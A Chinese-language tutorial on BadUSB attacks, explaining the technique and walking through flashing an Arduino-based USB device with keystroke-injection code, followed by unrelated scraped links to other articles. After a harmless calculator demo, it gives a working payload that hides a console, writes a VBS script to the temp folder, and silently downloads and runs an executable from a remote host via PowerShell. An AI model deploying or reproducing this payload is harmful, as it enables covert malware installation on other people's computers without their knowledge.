什么是Badusb?

  BadUSB是一种使用带有恶意软件编程的USB设备的计算机安全攻击。例如,USB 闪存驱动器可以包含可编程的Intel 8051微控制器,该微控制器可以重新编程,将USB闪存驱动器变成恶意设备。
BadUSB 攻击是在 2014 年由Karsten Nohl、Sascha Krißler和Jakob Lell在一次Black Hat演讲中首次披露的。演讲两个月后,其他研究人员发布了可用于利用该漏洞的代码。2017年,USG加密狗1.0版本发布,其作用类似于硬件防火墙,旨在防止BadUSB风格的攻击。

购买一个Badusb

1.x宝

向Badusb写入恶意代码

安装烧录工具-Arduino

  Arduino是一款便捷灵活、方便上手的开源电子原型平台。其开发环境,主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了

直接在官网下载

下载完成用管理员身份运行,让他自动安装依赖

注意:如果无法安装,可以手动下载到C:\Users\admin\AppData\Local\Arduino15\staging\libraries这个目录下面打开即可。

然后插入Badusb,Arduino IDE选择Badusb的端口以及对应型号


弹一个计算器

#include <Keyboard.h>void setup()
{Keyboard.begin();delay(200);delay(100);Keyboard.press(KEY_LEFT_GUI);delay(100); Keyboard.press('r');delay(50); Keyboard.release(KEY_LEFT_GUI);Keyboard.release('r');delay(100); Keyboard.println("calc");Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.end();
}
void loop() {}

先编译
然后上传即可

其他payload

#include <Keyboard.h>
void setup() {Keyboard.begin();//开始键盘通讯
delay(300);//延时
Keyboard.press(KEY_LEFT_GUI);//win 键
delay(500);
Keyboard.press('r');//r 键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\"");
[//Keyboard.println](notion://keyboard.println/)("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(1000);
Keyboard.println("ECHO dim OBJsHELL  >%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.println("ECHO SET OBJsHELL = WSCRIPT.CREATEoBJECT(\"WSCRIPT.SHELL\") >>%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.println("ECHO IrETURN = OBJsHELL.rUN(\"CMD /C ECHO WGET -uRI  [HTTP://](http://106.75.249.46:9033/cOOOLIS-MS.EXE)x.x.x.x/sss.exe -oUTfILE %TEMP%/sss.exe | POWERSHELL - && %TEMP%/sss.exe  \", 0, true)  >>%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("%temp%/bad.vbs");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}void loop() {// put your main code here, to run repeatedly:}

参考:
维基百科

IOT黑客入门篇之初探Badusb相关推荐

  1. SQL注入 | 黑客入门篇(如何绕过密码登陆账号)

    SQL注入详解 什么是SQL注入 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击, 而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登陆甚至篡改数据库. SQL注入 ...

  2. arcgis开发 多版本之间如何兼容_arcgis api 4.x for js 结合 react 入门开发系列初探篇(附源码下载)...

    你还在使用 JQuery 或者 Dojo 框架开发 arcgis api 4.x for js 吗?想试试模块化开发吗?随着前端技术的发展,arcgis api 4.x for js 也有了结合 re ...

  3. 黑客入门教程(非常详细)从零基础入门到精通,看完这一篇就够了

    这篇文章没有什么套路.就是一套自学理论和方向,具体的需要配合网络黑白去学习.毕竟是有网络才会有黑白! 有自学也有培训! 1.打死也不要相信什么分分钟钟教你成为大黑阔的,各种包教包会的教程,就算打不死也 ...

  4. 神仙级黑客入门教程(非常详细),从零基础入门到精通,从看这篇开始

    很多人上来就说想学习黑客,但是连方向都没搞清楚就开始学习,最终也只是会无疾而终!黑客是一个大的概念,里面包含了许多方向,不同的方向需要学习的内容也不一样. 想要成为黑客,却苦于没有方向,不知道从何学起 ...

  5. 黑客入门很难吗?这一篇保证你学的明明白白

    在网络安全行业待了十余年了,老是有人找我抱怨黑客入门很难,然后一通解释后我发现,之所以觉得难都是因为看的教程全是东拼西凑的,这里学一点那里学一点,脑子里连基本框架都没有.有的甚至学了几个月连黑客是干嘛 ...

  6. SQL注入漏洞全接触--入门篇

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  7. AI视觉组培训第二弹——入门篇

    ▌入门篇   由恩智浦赞助的AI视觉组,今年把人工智能应用在智能车竞赛中的难度由提高了一步.这里面最重要的部分就是,用人工智能的神经网络进行图片识别.   上一次培训,我们已经介绍了人工智能和神经网络 ...

  8. .NET Core实战项目之CMS 第二章 入门篇-快速入门ASP.NET Core看这篇就够了

    本来这篇只是想简单介绍下ASP.NET Core MVC项目的(毕竟要照顾到很多新手朋友),但是转念一想不如来点猛的(考虑到急性子的朋友),让你通过本文的学习就能快速的入门ASP.NET Core.既 ...

  9. JSON数据结构(A、快速入门篇)(Yanlz+Data+JsonArray+JsonObject+JsonValue+JsonMapper.ToJson+JsonMapper.ToObject+)

    <JSON数据结构> 版本 作者 参与者 完成日期 备注 Data_JSON_V01_1.0 严立钻 2018.08.24 ++++一个好用的JSON在线编辑:http://www.kjs ...

最新文章

  1. Ubantu安装maven
  2. 计算机与网络技术基础试题及答案,计算机与网络技术基础试题及答案(2003年10月)...
  3. springmvc框架介绍_Java修行第071天 ---SpringMVC(上)
  4. 数据结构实验之栈与队列三:后缀式求值
  5. js中常用的正则表达式
  6. Errors running builder 'DeploymentBuilder' on project '工程名'
  7. 如何在Marketing Cloud里创建extension field扩展字
  8. 牛客网编程练习之编程马拉松:解读密码
  9. 协程 vs 线程 demo
  10. python使用新线程执行目标函数
  11. 苏宁双11战报:0点~1点 线上订单同比增72%
  12. 百度地图——判断用户是否在配送范围内解决方案
  13. 三大重磅奖项揭晓 2020全球智博会为行业加冕
  14. NOIP2015题解
  15. 工具 | Virtual GPS使用实践说明
  16. 高通平台环境搭建,编译,系统引导流程分析
  17. 公司估值:格雷厄姆的公司价值评估模型及应用——成长估值(一)
  18. 统计各种字符数量(包括汉字)
  19. YeeCOM DTU 轮询采集
  20. json数组的遍历(获取属性名和属性值)

热门文章

  1. 并行计算之MPI(一)
  2. 【Apache之 Karaf 介绍】
  3. 轻量级Rpc框架设计--motan源码解析六:client端服务发现
  4. 使用canvas实现微信小程序滑动解锁功能 ;解决canvas图层随背景能上下滑动导致页面错乱问题;
  5. win7即将停止服务,升级到win10最详细的图文教程。
  6. window.onresize在vue中只能使用一次,自适应resize报错
  7. 在线拖拽html,html5拖曳操作 HTML5实现网页元素的拖放操作
  8. Python教程: for循环例子
  9. android searchview属性,SearchView的用法(一)
  10. miui 使用google play 无法安装和更新应用